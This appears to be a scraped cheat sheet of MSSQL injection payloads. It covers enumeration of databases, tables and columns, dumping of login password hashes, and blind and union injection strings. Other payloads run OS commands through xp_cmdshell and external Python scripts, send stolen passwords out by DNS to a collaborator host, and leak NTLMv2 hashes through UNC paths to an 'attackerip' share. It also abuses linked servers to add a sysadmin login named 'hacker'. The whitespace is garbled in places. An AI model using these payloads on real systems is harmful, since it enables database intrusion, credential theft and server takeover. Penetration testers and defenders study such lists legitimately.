SELECT name FROM master..sysdatabases;SELECT DB_NAME(N); — for N =0, 1, 2, …SELECT STRING_AGG(name, ', ') FROM master..sysdatabases; -- Change delimeter value such as ', ' to anything else you want => master, tempdb, model, msdb (Only works in MSSQL 2017+)
MSSQL List columns
SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name= ‘mytable’); — for the current DB onlySELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name=’sometable’; — list colum names and types formaster..sometableSELECT table_catalog, column_name FROM information_schema.columns
MSSQL List tables
SELECT name FROM master..sysobjects WHERE xtype = ‘U’; — use xtype = ‘V’ for viewsSELECT name FROM someotherdb..sysobjects WHERE xtype = ‘U’;SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name=’sometable’; — list colum names and types formaster..sometableSELECT table_catalog, table_name FROM information_schema.columnsSELECT STRING_AGG(name, ', ') FROM master..sysobjects WHERE xtype ='U'; -- Change delimeter value such as ', ' to anything else you want => trace_xe_action_map, trace_xe_event_map, spt_fallback_db, spt_fallback_dev, spt_fallback_usg, spt_monitor, MSreplication_options (Only works in MSSQL 2017+)
MSSQL Extract user/password
MSSQL 2000:SELECT name, password FROM master..sysxloginsSELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins (Need to convert to hex toreturn hashes in MSSQL error message/ some version of query analyzer.)MSSQL 2005SELECT name, password_hash FROM master.sys.sql_loginsSELECT name+'-'+ master.sys.fn_varbintohexstr(password_hash) from master.sys.sql_logins
MSSQL Union Based
-- extract databases names$ SELECT name FROM master..sysdatabases[*] Injection[*] msdb[*] tempdb-- extract tables from Injection database$ SELECT name FROM Injection..sysobjects WHERE xtype ='U'[*] Profiles[*] Roles[*] Users-- extract columns for the table Users$ SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name='Users')[*] UserId[*] UserName-- Finally extract the data$ SELECT UserId, UserName from Users
AND LEN(SELECT TOP 1 username FROM tblusers)=5 ; -- -AND ASCII(SUBSTRING(SELECT TOP 1 username FROM tblusers),1,1)=97AND UNICODE(SUBSTRING((SELECT 'A'),1,1))>64-- AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))ASvarchar(8000)),1,1)),0)>90SELECT @@version WHERE @@version LIKE '%12.0.2000.8%'WITH dataAS (SELECT (ROW_NUMBER() OVER (ORDER BY message)) as row,* FROM log_table)SELECT message FROM data WHERE row=1andmessagelike't%'
Executed by a different user than the one using xp_cmdshell to execute commands
#Print the user being used (and execute commands)EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("getpass").getuser())'EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("os").system("whoami"))'#Open and read a fileEXECUTE sp_execute_external_script @language = N'Python', @script = N'print(open("C:\\inetpub\\wwwroot\\web.config", "r").read())'#MultilineEXECUTE sp_execute_external_script @language = N'Python', @script = N'import sysprint(sys.version)'GO
MSSQL Out of band
MSSQL DNS exfiltration
Technique from https://twitter.com/ptswarm/status/1313476695295512578/photo/1
# Permissions: Requires VIEW SERVER STATE permission on the server.1 and exists(select *from fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select pass from users where id=1)%2b'.xxxx.burpcollaborator.net\1.xem',null,null))# Permissions: Requires the CONTROL SERVER permission.1 (select 1where exists(select *from fn_get_audit_file('\\'%2b(select pass from users where id=1)%2b'.xxxx.burpcollaborator.net\',default,default)))1 and exists(select *from fn_trace_gettable('\\'%2b(select pass from users where id=1)%2b'.xxxx.burpcollaborator.net\1.trc',default))
MSSQL UNC Path
MSSQL supports stacked queries so we can create a variable pointing to our IP address then use the xp_dirtree function to list the files in our SMB share and grab the NTLMv2 hash.
1'; use master; exec xp_dirtree '\\10.10.15.XX\SHARE';--
xp_dirtree '\\attackerip\file'xp_fileexist '\\attackerip\file'BACKUP LOG [TESTING] TO DISK ='\\attackerip\file'BACKUP DATABASE [TESTING] TO DISK ='\\attackeri\file'RESTORE LOG [TESTING] FROM DISK ='\\attackerip\file'RESTORE DATABASE [TESTING] FROM DISK ='\\attackerip\file'RESTORE HEADERONLY FROM DISK ='\\attackerip\file'RESTORE FILELISTONLY FROM DISK ='\\attackerip\file'RESTORE LABELONLY FROM DISK ='\\attackerip\file'RESTORE REWINDONLY FROM DISK ='\\attackerip\file'RESTORE VERIFYONLY FROM DISK ='\\attackerip\file'
The links between databases work even across forest trusts.
msf> use exploit/windows/mssql/mssql_linkcrawler[msf>setDEPLOYtrue] #Set DEPLOY to true if you want to abuse the privileges to obtain a meterpreter sessio
Manual exploitation
-- find linkselect*frommaster..sysservers-- execute query through the linkselect*fromopenquery("dcorp-sql1", 'select * from master..sysservers')selectversionfromopenquery("linkedserver", 'select @@version as version');-- chain multiple openqueryselectversionfromopenquery("link1",'select version from openquery("link2","select @@version as version")')-- execute shell commandsEXECUTE('sp_configure ''xp_cmdshell'',1;reconfigure;') AT LinkedServerselect1fromopenquery("linkedserver",'select 1;exec master..xp_cmdshell "dir c:"')-- create user and give admin privilegesEXECUTE('EXECUTE(''CREATE LOGIN hacker WITH PASSWORD = ''''P@ssword123.'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
List permissions
Listing effective permissions of current user on the server.
SELECT * FROM fn_my_permissions(NULL, 'SERVER');
Listing effective permissions of current user on the database.
SELECT * FROM fn_my_permissions (NULL, 'DATABASE');
Listing effective permissions of current user on a view.
SELECT * FROM fn_my_permissions('Sales.vIndividualCustomer', 'OBJECT') ORDER BY subentity_name, permission_name;
Check if current user is a member of the specified server role.